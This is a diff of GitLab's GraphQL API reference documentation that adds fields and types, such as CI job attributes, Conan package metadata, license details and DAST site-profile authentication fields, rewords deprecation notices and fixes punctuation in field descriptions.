| `scanner` | [`[String!]`](#string) | Filter vulnerabilities by VulnerabilityScanner.externalId. |
+| `scannerId` | [`[VulnerabilitiesScannerID!]`](#vulnerabilitiesscannerid) | Filter vulnerabilities by scanner ID. |
| `severity` | [`[VulnerabilitySeverity!]`](#vulnerabilityseverity) | Filter vulnerabilities by severity. |
| `sort` | [`VulnerabilitySort`](#vulnerabilitysort) | List vulnerabilities by sort order. |
| `state` | [`[VulnerabilityState!]`](#vulnerabilitystate) | Filter vulnerabilities by state. |
@@ -393,7 +421,14 @@ Returns [`VulnerabilitiesCountByDayConnection`](#vulnerabilitiescountbydayconnec
### `vulnerabilitiesCountByDayAndSeverity`
-Number of vulnerabilities per severity level, per day, for the projects on the current user's instance security dashboard. Deprecated in 13.3: Use `vulnerabilitiesCountByDay`.
+Number of vulnerabilities per severity level, per day, for the projects on the
+current user's instance security dashboard.
+.
+
+WARNING:
+**Deprecated** in 13.3.
+Use of this is not recommended.
+Use: `Query.vulnerabilitiesCountByDay`.
Returns [`VulnerabilitiesCountByDayAndSeverityConnection`](#vulnerabilitiescountbydayandseverityconnection).
@@ -488,7 +523,7 @@ Describes an alert from the project's Alert Management.
| `hosts` | [`[String!]`](#string) | List of hosts the alert came from. |
| `iid` | [`ID!`](#id) | Internal ID of the alert. |
| `issue` | [`Issue`](#issue) | Issue attached to the alert. |
-| `issueIid` **{warning-solid}** | [`ID`](#id) | **Deprecated:** Use issue field. Deprecated in 13.10. |
+| `issueIid` **{warning-solid}** | [`ID`](#id) | **Deprecated** in 13.10. Use issue field. |
| `metricsDashboardUrl` | [`String`](#string) | URL for metrics embed for the alert. |
| `monitoringTool` | [`String`](#string) | Monitoring tool the alert came from. |
| `notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. |
@@ -527,12 +562,12 @@ Represents total number of alerts for the represented categories.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `acknowledged` | [`Int`](#int) | Number of alerts with status ACKNOWLEDGED for the project |
+| `acknowledged` | [`Int`](#int) | Number of alerts with status ACKNOWLEDGED for the project. |
| `all` | [`Int`](#int) | Total number of alerts for the project. |
-| `ignored` | [`Int`](#int) | Number of alerts with status IGNORED for the project |
+| `ignored` | [`Int`](#int) | Number of alerts with status IGNORED for the project. |
| `open` | [`Int`](#int) | Number of alerts with status TRIGGERED or ACKNOWLEDGED for the project. |
-| `resolved` | [`Int`](#int) | Number of alerts with status RESOLVED for the project |
-| `triggered` | [`Int`](#int) | Number of alerts with status TRIGGERED for the project |
+| `resolved` | [`Int`](#int) | Number of alerts with status RESOLVED for the project. |
+| `triggered` | [`Int`](#int) | Number of alerts with status TRIGGERED for the project. |
### `AlertManagementHttpIntegration`
@@ -596,7 +631,7 @@ Parsed field from an alert used for custom mappings.
| Field | Type | Description |
| ----- | ---- | ----------- |
| `label` | [`String`](#string) | Human-readable label of the payload path. |
-| `path` | [`[String!]`](#string) | Path to value inside payload JSON. |
+| `path` | [`[PayloadAlertFieldPathSegment!]`](#payloadalertfieldpathsegment) | Path to value inside payload JSON. |
| `type` | [`AlertManagementPayloadAlertFieldType`](#alertmanagementpayloadalertfieldtype) | Type of the parsed value. |
### `AlertManagementPayloadAlertMappingField`
@@ -607,7 +642,7 @@ Parsed field (with its name) from an alert used for custom mappings.
| ----- | ---- | ----------- |
| `fieldName` | [`AlertManagementPayloadAlertFieldName`](#alertmanagementpayloadalertfieldname) | A GitLab alert field name. |
| `label` | [`String`](#string) | Human-readable label of the payload path. |
-| `path` | [`[String!]`](#string) | Path to value inside payload JSON. |
+| `path` | [`[PayloadAlertFieldPathSegment!]`](#payloadalertfieldpathsegment) | Path to value inside payload JSON. |
| `type` | [`AlertManagementPayloadAlertFieldType`](#alertmanagementpayloadalertfieldtype) | Type of the parsed value. |
### `AlertManagementPrometheusIntegration`
@@ -678,6 +713,16 @@ An API Fuzzing scan profile.
| `name` | [`String`](#string) | The unique name of the profile. |
| `yaml` | [`String`](#string) | A syntax highlit HTML representation of the YAML. |
+### `ApprovalRule`
+
+Describes a rule for who can approve merge requests.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `id` | [`GlobalID!`](#globalid) | ID of the rule. |
+| `name` | [`String`](#string) | Name of the rule. |
+| `type` | [`ApprovalRuleType`](#approvalruletype) | Type of the rule. |
+
### `AwardEmoji`
An emoji awarded by a user.
@@ -789,6 +834,7 @@ Represents a project or group issue board.
| Field | Type | Description |
| ----- | ---- | ----------- |
| `assignee` | [`User`](#user) | The board assignee. |
+| `createdAt` | [`Time!`](#time) | Timestamp of when the board was created. |
| `epics` | [`BoardEpicConnection`](#boardepicconnection) | Epics associated with board issues. |
| `hideBacklogList` | [`Boolean`](#boolean) | Whether or not backlog list is hidden. |
| `hideClosedList` | [`Boolean`](#boolean) | Whether or not closed list is hidden. |
@@ -798,6 +844,7 @@ Represents a project or group issue board.
| `lists` | [`BoardListConnection`](#boardlistconnection) | Lists of the board. |
| `milestone` | [`Milestone`](#milestone) | The board milestone. |
| `name` | [`String`](#string) | Name of the board. |
+| `updatedAt` | [`Time!`](#time) | Timestamp of when the board was last updated. |
| `webPath` | [`String!`](#string) | Web path of the board. |
| `webUrl` | [`String!`](#string) | Web URL of the board. |
| `weight` | [`Int`](#int) | Weight of the board. |
@@ -837,6 +884,7 @@ Represents an epic on an issue board.
| `descendantCounts` | [`EpicDescendantCount`](#epicdescendantcount) | Number of open and closed descendant epics and issues. |
| `descendantWeightSum` | [`EpicDescendantWeights`](#epicdescendantweights) | Total weight of open and closed issues in the epic and its descendants. |
| `description` | [`String`](#string) | Description of the epic. |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. |
| `downvotes` | [`Int!`](#int) | Number of downvotes the epic has received. |
| `dueDate` | [`Time`](#time) | Due date of the epic. |
@@ -866,11 +914,12 @@ Represents an epic on an issue board.
| `state` | [`EpicState!`](#epicstate) | State of the epic. |
| `subscribed` | [`Boolean!`](#boolean) | Indicates the currently logged in user is subscribed to the epic. |
| `title` | [`String`](#string) | Title of the epic. |
+| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. |
| `updatedAt` | [`Time`](#time) | Timestamp of when the epic was updated. |
| `upvotes` | [`Int!`](#int) | Number of upvotes the epic has received. |
| `userDiscussionsCount` | [`Int!`](#int) | Number of user discussions in the epic. |
| `userNotesCount` | [`Int!`](#int) | Number of user notes of the epic. |
-| `userPermissions` | [`EpicPermissions!`](#epicpermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`EpicPermissions!`](#epicpermissions) | Permissions for the current user on the resource. |
| `userPreferences` | [`BoardEpicUserPreferences`](#boardepicuserpreferences) | User preferences for the epic on the issue board. |
| `webPath` | [`String!`](#string) | Web path of the epic. |
| `webUrl` | [`String!`](#string) | Web URL of the epic. |
@@ -1029,6 +1078,7 @@ Autogenerated return type of CiCdSettingsUpdate.
| Field | Type | Description |
| ----- | ---- | ----------- |
+| `ciCdSettings` | [`ProjectCiCdSetting!`](#projectcicdsetting) | The CI/CD settings after mutation. |
| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
@@ -1194,14 +1244,32 @@ An edge in a connection.
| Field | Type | Description |
| ----- | ---- | ----------- |
+| `active` | [`Boolean!`](#boolean) | Indicates the job is active. |
+| `allowFailure` | [`Boolean!`](#boolean) | Whether this job is allowed to fail. |
| `artifacts` | [`CiJobArtifactConnection`](#cijobartifactconnection) | Artifacts generated by the job. |
+| `cancelable` | [`Boolean!`](#boolean) | Indicates the job can be canceled. |
+| `commitPath` | [`String`](#string) | Path to the commit that triggered the job. |
+| `coverage` | [`Float`](#float) | Coverage level of the job. |
+| `createdAt` | [`Time!`](#time) | When the job was created. |
| `detailedStatus` | [`DetailedStatus`](#detailedstatus) | Detailed status of the job. |
| `duration` | [`Int`](#int) | Duration of the job in seconds. |
| `finishedAt` | [`Time`](#time) | When a job has finished running. |
+| `id` | [`JobID`](#jobid) | ID of the job. |
| `name` | [`String`](#string) | Name of the job. |
| `needs` | [`CiBuildNeedConnection`](#cibuildneedconnection) | References to builds that must complete before the jobs run. |
| `pipeline` | [`Pipeline`](#pipeline) | Pipeline the job belongs to. |
+| `playable` | [`Boolean!`](#boolean) | Indicates the job can be played. |
+| `queuedAt` | [`Time`](#time) | When the job was enqueued and marked as pending. |
+| `refName` | [`String`](#string) | Ref name of the job. |
+| `refPath` | [`String`](#string) | Path to the ref. |
+| `retryable` | [`Boolean!`](#boolean) | Indicates the job can be retried. |
| `scheduledAt` | [`Time`](#time) | Schedule for the build. |
+| `schedulingType` | [`String`](#string) | Type of pipeline scheduling. Value is `dag` if the pipeline uses the `needs` keyword, and `stage` otherwise. |
+| `shortSha` | [`String!`](#string) | Short SHA1 ID of the commit. |
+| `stage` | [`CiStage`](#cistage) | Stage of the job. |
+| `startedAt` | [`Time`](#time) | When the job was started. |
+| `status` | [`CiJobStatus`](#cijobstatus) | Status of the job. |
+| `tags` | [`[String!]`](#string) | Tags for the current job. |
### `CiJobArtifact`
@@ -1235,6 +1303,7 @@ The connection type for CiJob.
| Field | Type | Description |
| ----- | ---- | ----------- |
+| `count` | [`Int!`](#int) | Total count of collection. |
| `edges` | [`[CiJobEdge]`](#cijobedge) | A list of edges. |
| `nodes` | [`[CiJob]`](#cijob) | A list of nodes. |
| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
@@ -1254,6 +1323,7 @@ An edge in a connection.
| ----- | ---- | ----------- |
| `detailedStatus` | [`DetailedStatus`](#detailedstatus) | Detailed status of the stage. |
| `groups` | [`CiGroupConnection`](#cigroupconnection) | Group of jobs for the stage. |
+| `jobs` | [`CiJobConnection`](#cijobconnection) | Jobs for the stage. |
| `name` | [`String`](#string) | Name of the stage. |
### `CiStageConnection`
@@ -1326,6 +1396,7 @@ An edge in a connection.
| `createdByUser` | [`User`](#user) | The user who created the token. |
| `description` | [`String`](#string) | Description of the token. |
| `id` | [`ClustersAgentTokenID!`](#clustersagenttokenid) | Global ID of the token. |
+| `lastUsedAt` | [`Time`](#time) | Timestamp the token was last used. |
| `name` | [`String`](#string) | Name given to the token. |
### `ClusterAgentTokenConnection`
@@ -1417,7 +1488,7 @@ Represents the code coverage summary for a project.
| `authorName` | [`String`](#string) | Commit authors name. |
| `authoredDate` | [`Time`](#time) | Timestamp of when the commit was authored. |
| `description` | [`String`](#string) | Description of the commit message. |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `id` | [`ID!`](#id) | ID (global ID) of the commit. |
| `message` | [`String`](#string) | Raw commit message. |
| `pipelines` | [`PipelineConnection`](#pipelineconnection) | Pipelines of the commit ordered latest first. |
@@ -1425,7 +1496,7 @@ Represents the code coverage summary for a project.
| `shortId` | [`String!`](#string) | Short SHA1 ID of the commit. |
| `signatureHtml` | [`String`](#string) | Rendered HTML of the commit signature. |
| `title` | [`String`](#string) | Title of the commit message. |
-| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title` |
+| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. |
| `webPath` | [`String!`](#string) | Web path of the commit. |
| `webUrl` | [`String!`](#string) | Web URL of the commit. |
@@ -1498,6 +1569,34 @@ Composer metadata.
| `composerJson` | [`PackageComposerJsonType!`](#packagecomposerjsontype) | Data of the Composer JSON file. |
| `targetSha` | [`String!`](#string) | Target SHA of the package. |
+### `ConanFileMetadata`
+
+Conan file metadata.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `conanFileType` | [`ConanMetadatumFileTypeEnum!`](#conanmetadatumfiletypeenum) | Type of the Conan file. |
+| `conanPackageReference` | [`String`](#string) | Reference of the Conan package. |
+| `createdAt` | [`Time!`](#time) | Date of creation. |
+| `id` | [`PackagesConanFileMetadatumID!`](#packagesconanfilemetadatumid) | ID of the metadatum. |
+| `packageRevision` | [`String`](#string) | Revision of the package. |
+| `recipeRevision` | [`String!`](#string) | Revision of the Conan recipe. |
+| `updatedAt` | [`Time!`](#time) | Date of most recent update. |
+
+### `ConanMetadata`
+
+Conan metadata.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `createdAt` | [`Time!`](#time) | Date of creation. |
+| `id` | [`PackagesConanMetadatumID!`](#packagesconanmetadatumid) | ID of the metadatum. |
+| `packageChannel` | [`String!`](#string) | Channel of the Conan package. |
+| `packageUsername` | [`String!`](#string) | Username of the Conan package. |
+| `recipe` | [`String!`](#string) | Recipe of the Conan package. |
+| `recipePath` | [`String!`](#string) | Recipe path of the Conan package. |
+| `updatedAt` | [`Time!`](#time) | Date of most recent update. |
+
### `ConfigureSastPayload`
Autogenerated return type of ConfigureSast.
@@ -1776,13 +1875,13 @@ Autogenerated return type of CreateSnippet.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `captchaSiteKey` | [`String`](#string) | The CAPTCHA site key which must be used to render a challenge for the user to solve to obtain a valid captchaResponse value. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. |
+| `captchaSiteKey` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. |
| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| `needsCaptchaResponse` | [`Boolean`](#boolean) | Indicates whether the operation was detected as possible spam and not completed. If CAPTCHA is enabled, the request must be resubmitted with a valid CAPTCHA response and spam_log_id included for the operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. |
+| `needsCaptchaResponse` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. |
| `snippet` | [`Snippet`](#snippet) | The snippet after mutation. |
-| `spam` | [`Boolean`](#boolean) | Indicates whether the operation was detected as definite spam. There is no option to resubmit the request with a CAPTCHA response. |
-| `spamLogId` | [`Int`](#int) | The spam log ID which must be passed along with a valid CAPTCHA response for an operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. |
+| `spam` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. |
+| `spamLogId` **{warning-solid}** | [`Int`](#int) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. |
### `CreateTestCasePayload`
@@ -1794,6 +1893,27 @@ Autogenerated return type of CreateTestCase.
| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| `testCase` | [`Issue`](#issue) | The test case created. |
+### `CurrentLicense`
+
+Represents the current license.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `activatedAt` | [`Date`](#date) | Date when the license was activated. |
+| `billableUsersCount` | [`Int`](#int) | Number of billable users on the system. |
+| `company` | [`String`](#string) | Company of the licensee. |
+| `email` | [`String`](#string) | Email of the licensee. |
+| `expiresAt` | [`Date`](#date) | Date when the license expires. |
+| `id` | [`ID!`](#id) | ID of the license. |
+| `lastSync` | [`Time`](#time) | Date when the license was last synced. |
+| `maximumUserCount` | [`Int`](#int) | Highest number of billable users on the system during the term of the current license. |
+| `name` | [`String`](#string) | Name of the licensee. |
+| `plan` | [`String!`](#string) | Name of the subscription plan. |
+| `startsAt` | [`Date`](#date) | Date when the license started. |
+| `type` | [`String!`](#string) | Type of the license. |
+| `usersInLicenseCount` | [`Int`](#int) | Number of paid users in the license. |
+| `usersOverLicenseCount` | [`Int`](#int) | Number of users over the paid users in the license. |
+
### `CustomEmoji`
A custom emoji uploaded by user.
@@ -1840,7 +1960,7 @@ Represents a DAST Profile.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `branch` | [`DastProfileBranch`](#dastprofilebranch) | The associated branch. Will always return `null` if `dast_branch_selection` feature flag is disabled. |
+| `branch` | [`DastProfileBranch`](#dastprofilebranch) | The associated branch. |
| `dastScannerProfile` | [`DastScannerProfile`](#dastscannerprofile) | The associated scanner profile. |
| `dastSiteProfile` | [`DastSiteProfile`](#dastsiteprofile) | The associated site profile. |
| `description` | [`String`](#string) | The description of the scan. |
@@ -1924,7 +2044,7 @@ Represents a DAST scanner profile.
| Field | Type | Description |
| ----- | ---- | ----------- |
| `editPath` | [`String`](#string) | Relative web path to the edit page of a scanner profile. |
-| `globalId` **{warning-solid}** | [`DastScannerProfileID!`](#dastscannerprofileid) | **Deprecated:** Use `id`. Deprecated in 13.6. |
+| `globalId` **{warning-solid}** | [`DastScannerProfileID!`](#dastscannerprofileid) | **Deprecated** in 13.6. Use `id`. |
| `id` | [`DastScannerProfileID!`](#dastscannerprofileid) | ID of the DAST scanner profile. |
| `profileName` | [`String`](#string) | Name of the DAST scanner profile. |
| `referencedInSecurityPolicies` | [`[String!]`](#string) | List of security policy names that are referencing given project. |
@@ -1952,7 +2072,7 @@ Autogenerated return type of DastScannerProfileCreate.
| ----- | ---- | ----------- |
| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| `globalId` **{warning-solid}** | [`DastScannerProfileID`](#dastscannerprofileid) | **Deprecated:** Use `id`. Deprecated in 13.6. |
+| `globalId` **{warning-solid}** | [`DastScannerProfileID`](#dastscannerprofileid) | **Deprecated** in 13.6. Use `id`. |
| `id` | [`DastScannerProfileID`](#dastscannerprofileid) | ID of the scanner profile. |
### `DastScannerProfileDeletePayload`
@@ -1989,15 +2109,32 @@ Represents a DAST Site Profile.
| Field | Type | Description |
| ----- | ---- | ----------- |
+| `auth` | [`DastSiteProfileAuth`](#dastsiteprofileauth) | Target authentication details. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
| `editPath` | [`String`](#string) | Relative web path to the edit page of a site profile. |
+| `excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
| `id` | [`DastSiteProfileID!`](#dastsiteprofileid) | ID of the site profile. |
| `normalizedTargetUrl` | [`String`](#string) | Normalized URL of the target to be scanned. |
| `profileName` | [`String`](#string) | The name of the site profile. |
| `referencedInSecurityPolicies` | [`[String!]`](#string) | List of security policy names that are referencing given project. |
+| `requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
+| `targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. Will always return `null` if `security_dast_site_profiles_api_option` feature flag is disabled. |
| `targetUrl` | [`String`](#string) | The URL of the target to be scanned. |
-| `userPermissions` | [`DastSiteProfilePermissions!`](#dastsiteprofilepermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`DastSiteProfilePermissions!`](#dastsiteprofilepermissions) | Permissions for the current user on the resource. |
| `validationStatus` | [`DastSiteProfileValidationStatusEnum`](#dastsiteprofilevalidationstatusenum) | The current validation status of the site profile. |
+### `DastSiteProfileAuth`
+
+Input type for DastSiteProfile authentication.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `enabled` | [`Boolean`](#boolean) | Indicates whether authentication is enabled. |
+| `password` | [`String`](#string) | Redacted password to authenticate with on the target website. |
+| `passwordField` | [`String`](#string) | The name of password field at the sign-in HTML form. |
+| `url` | [`String`](#string) | The URL of the page containing the sign-in HTML form on the target website. |
+| `username` | [`String`](#string) | The username to authenticate with on the target website. |
+| `usernameField` | [`String`](#string) | The name of username field at the sign-in HTML form. |
+
### `DastSiteProfileConnection`
The connection type for DastSiteProfile.
@@ -2042,7 +2179,7 @@ Check permissions for the current user on site profile.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `createOnDemandDastScan` | [`Boolean!`](#boolean) | Indicates the user can perform `create_on_demand_dast_scan` on this resource |
+| `createOnDemandDastScan` | [`Boolean!`](#boolean) | Indicates the user can perform `create_on_demand_dast_scan` on this resource. |
### `DastSiteProfileUpdatePayload`
@@ -2157,7 +2294,7 @@ A single design.
| `fullPath` | [`String!`](#string) | The full path to the design file. |
| `id` | [`ID!`](#id) | The ID of this design. |
| `image` | [`String!`](#string) | The URL of the full-sized image. |
-| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated |
+| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated. |
| `issue` | [`Issue!`](#issue) | The issue the design belongs to. |
| `notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. |
| `notesCount` | [`Int!`](#int) | The total count of user-created notes for this design. |
@@ -2177,7 +2314,7 @@ A design pinned to a specific version. The image field reflects the design as of
| `fullPath` | [`String!`](#string) | The full path to the design file. |
| `id` | [`ID!`](#id) | The ID of this design. |
| `image` | [`String!`](#string) | The URL of the full-sized image. |
-| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated |
+| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated. |
| `issue` | [`Issue!`](#issue) | The issue the design belongs to. |
| `notesCount` | [`Int!`](#int) | The total count of user-created notes for this design. |
| `project` | [`Project!`](#project) | The project the design belongs to. |
@@ -2272,7 +2409,7 @@ Autogenerated return type of DesignManagementUpload.
| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| `designs` | [`[Design!]!`](#design) | The designs that were uploaded by the mutation. |
| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| `skippedDesigns` | [`[Design!]!`](#design) | Any designs that were skipped from the upload due to there being no change to their content since their last version |
+| `skippedDesigns` | [`[Design!]!`](#design) | Any designs that were skipped from the upload due to there being no change to their content since their last version. |
### `DesignVersion`
@@ -2354,6 +2491,16 @@ Autogenerated return type of DestroyContainerRepositoryTags.
| `deletedTagNames` | [`[String!]!`](#string) | Deleted container repository tags. |
| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+### `DestroyEpicBoardPayload`
+
+Autogenerated return type of DestroyEpicBoard.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| `epicBoard` | [`EpicBoard`](#epicboard) | Epic board after mutation. |
+| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+
### `DestroyNotePayload`
Autogenerated return type of DestroyNote.
@@ -2588,6 +2735,7 @@ Represents an epic.
| `descendantCounts` | [`EpicDescendantCount`](#epicdescendantcount) | Number of open and closed descendant epics and issues. |
| `descendantWeightSum` | [`EpicDescendantWeights`](#epicdescendantweights) | Total weight of open and closed issues in the epic and its descendants. |
| `description` | [`String`](#string) | Description of the epic. |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. |
| `downvotes` | [`Int!`](#int) | Number of downvotes the epic has received. |
| `dueDate` | [`Time`](#time) | Due date of the epic. |
@@ -2617,11 +2765,12 @@ Represents an epic.
| `state` | [`EpicState!`](#epicstate) | State of the epic. |
| `subscribed` | [`Boolean!`](#boolean) | Indicates the currently logged in user is subscribed to the epic. |
| `title` | [`String`](#string) | Title of the epic. |
+| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. |
| `updatedAt` | [`Time`](#time) | Timestamp of when the epic was updated. |
| `upvotes` | [`Int!`](#int) | Number of upvotes the epic has received. |
| `userDiscussionsCount` | [`Int!`](#int) | Number of user discussions in the epic. |
| `userNotesCount` | [`Int!`](#int) | Number of user notes of the epic. |
-| `userPermissions` | [`EpicPermissions!`](#epicpermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`EpicPermissions!`](#epicpermissions) | Permissions for the current user on the resource. |
| `webPath` | [`String!`](#string) | Web path of the epic. |
| `webUrl` | [`String!`](#string) | Web URL of the epic. |
@@ -2767,7 +2916,7 @@ Relationship between an epic and an issue.
| `createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. |
| `currentUserTodos` | [`TodoConnection!`](#todoconnection) | To-do items for the current user. |
| `description` | [`String`](#string) | Description of the issue. |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `designCollection` | [`DesignCollection`](#designcollection) | Collection of design images associated with this issue. |
| `discussionLocked` | [`Boolean!`](#boolean) | Indicates discussion is locked on the issue. |
| `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. |
@@ -2799,8 +2948,9 @@ Relationship between an epic and an issue.
| `subscribed` | [`Boolean!`](#boolean) | Indicates the currently logged in user is subscribed to the issue. |
| `taskCompletionStatus` | [`TaskCompletionStatus!`](#taskcompletionstatus) | Task completion status of the issue. |
| `timeEstimate` | [`Int!`](#int) | Time estimate of the issue. |
+| `timelogs` | [`TimelogConnection!`](#timelogconnection) | Timelogs on the issue. |
| `title` | [`String!`](#string) | Title of the issue. |
-| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title` |
+| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. |
| `totalTimeSpent` | [`Int!`](#int) | Total time reported as spent on the issue. |
| `type` | [`IssueType`](#issuetype) | Type of the issue. |
| `updatedAt` | [`Time!`](#time) | Timestamp of when the issue was last updated. |
@@ -2808,7 +2958,7 @@ Relationship between an epic and an issue.
| `upvotes` | [`Int!`](#int) | Number of upvotes the issue has received. |
| `userDiscussionsCount` | [`Int!`](#int) | Number of user discussions in the issue. |
| `userNotesCount` | [`Int!`](#int) | Number of user notes of the issue. |
-| `userPermissions` | [`IssuePermissions!`](#issuepermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`IssuePermissions!`](#issuepermissions) | Permissions for the current user on the resource. |
| `webPath` | [`String!`](#string) | Web path of the issue. |
| `webUrl` | [`String!`](#string) | Web URL of the issue. |
| `weight` | [`Int`](#int) | Weight of the issue. |
@@ -2883,14 +3033,14 @@ Check permissions for the current user on an epic.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `adminEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_epic` on this resource |
-| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource |
-| `createEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `create_epic` on this resource |
-| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource |
-| `destroyEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_epic` on this resource |
-| `readEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `read_epic` on this resource |
-| `readEpicIid` | [`Boolean!`](#boolean) | Indicates the user can perform `read_epic_iid` on this resource |
-| `updateEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `update_epic` on this resource |
+| `adminEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_epic` on this resource. |
+| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource. |
+| `createEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `create_epic` on this resource. |
+| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource. |
+| `destroyEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_epic` on this resource. |
+| `readEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `read_epic` on this resource. |
+| `readEpicIid` | [`Boolean!`](#boolean) | Indicates the user can perform `read_epic_iid` on this resource. |
+| `updateEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `update_epic` on this resource. |
### `EpicSetSubscriptionPayload`
@@ -2979,6 +3129,7 @@ Represents an external issue.
| `minimumReverificationInterval` | [`Int`](#int) | The interval (in days) in which the repository verification is valid. Once expired, it will be reverified. |
| `name` | [`String`](#string) | The unique identifier for this Geo node. |
| `packageFileRegistries` | [`PackageFileRegistryConnection`](#packagefileregistryconnection) | Package file registries of the GeoNode. |
+| `pipelineArtifactRegistries` | [`PipelineArtifactRegistryConnection`](#pipelineartifactregistryconnection) | Find pipeline artifact registries on this Geo node. |
| `primary` | [`Boolean`](#boolean) | Indicates whether this Geo node is the primary. |
| `reposMaxCapacity` | [`Int`](#int) | The maximum concurrency of repository backfill for this secondary node. |
| `selectiveSyncNamespaces` | [`NamespaceConnection`](#namespaceconnection) | The namespaces that should be synced, if `selective_sync_type` == `namespaces`. |
@@ -2998,6 +3149,7 @@ Autogenerated return type of GitlabSubscriptionActivate.
| ----- | ---- | ----------- |
| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| `license` | [`CurrentLicense`](#currentlicense) | The current license. |
### `GrafanaIntegration`
@@ -3017,6 +3169,7 @@ Autogenerated return type of GitlabSubscriptionActivate.
| `additionalPurchasedStorageSize` | [`Float`](#float) | Additional storage purchased for the root namespace in bytes. |
| `autoDevopsEnabled` | [`Boolean`](#boolean) | Indicates whether Auto DevOps is enabled for all projects within this group. |
| `avatarUrl` | [`String`](#string) | Avatar URL of the group. |
+| `billableMembersCount` | [`Int`](#int) | The number of billable users in the group. |
| `board` | [`Board`](#board) | A single board of the group. |
| `boards` | [`BoardConnection`](#boardconnection) | Boards of the group. |
| `codeCoverageActivities` | [`CodeCoverageActivityConnection`](#codecoverageactivityconnection) | Represents the code coverage activity for this group. |
